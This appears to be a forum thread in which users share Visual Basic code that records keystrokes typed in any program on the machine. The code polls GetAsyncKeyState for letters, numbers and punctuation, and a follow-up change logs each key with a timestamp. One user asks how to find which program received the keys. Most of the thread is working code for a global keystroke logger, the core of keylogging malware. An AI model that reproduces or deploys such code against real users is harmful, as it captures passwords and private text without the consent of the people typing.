Not in my program but in any program.
Printable View
Not in my program but in any program.
Option Explicit
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Const SHIFT_KEY As Integer = 16
Private KeyLoop As Integer
Private KeyResult As Long
Private bShift As Boolean
Public sKeyPressed As String
Public Function bGetKey() As Boolean
KeyLoop = 65
Do Until KeyLoop = 91
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, Chr(KeyLoop), LCase(Chr(KeyLoop)))
GoTo KeyFound
End If
KeyLoop = KeyLoop + 1
Loop
KeyLoop = 48
Do Until KeyLoop = 57 ' check For numbers
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
If KeyResult < 0 Then
If KeyLoop = 48 Then sKeyPressed = ")"
If KeyLoop = 49 Then sKeyPressed = "!"
If KeyLoop = 50 Then sKeyPressed = "@"
If KeyLoop = 51 Then sKeyPressed = "#"
If KeyLoop = 52 Then sKeyPressed = "$"
If KeyLoop = 53 Then sKeyPressed = "%"
If KeyLoop = 54 Then sKeyPressed = "^"
If KeyLoop = 55 Then sKeyPressed = "&"
If KeyLoop = 56 Then sKeyPressed = "*"
If KeyLoop = 58 Then sKeyPressed = "("
Else
sKeyPressed = Chr(KeyLoop)
End If
GoTo KeyFound
End If
KeyLoop = KeyLoop + 1
Loop
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
sKeyPressed = vbCrLf
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
sKeyPressed = " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
sKeyPressed = " BKSP "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
sKeyPressed = " DEL "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, ">", ".")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "<", ",")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, ":", ";")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "?", "/")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, """", "'")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "~", "`")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "_", "-")
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
KeyResult = GetKeyState(SHIFT_KEY)
sKeyPressed = IIf(KeyResult < 0, "+", "=")
GoTo KeyFound
End If
bGetKey = False
Exit Function
KeyFound:
bGetKey = True
End Function
Private Sub Timer1_Timer()
If bGetKey Then Text1 = Text1 & sKeyPressed
End Sub
i think this should work, just add Text1 and a timer1
this will display the characters, but something in there may be usefull to let you know when someone types. Sorry I couldent be more helpfull
Is it possible to find out in what program the key was pressed?
Oh and for time I made some changes...
First replace the text box with a listbox called List1 and edit the timer1 code to this.
Private Sub Timer1_Timer()
If bGetKey Then
List1.AddItem Now & " " & sKeyPressed
End If
End Sub
sorry, not that I know of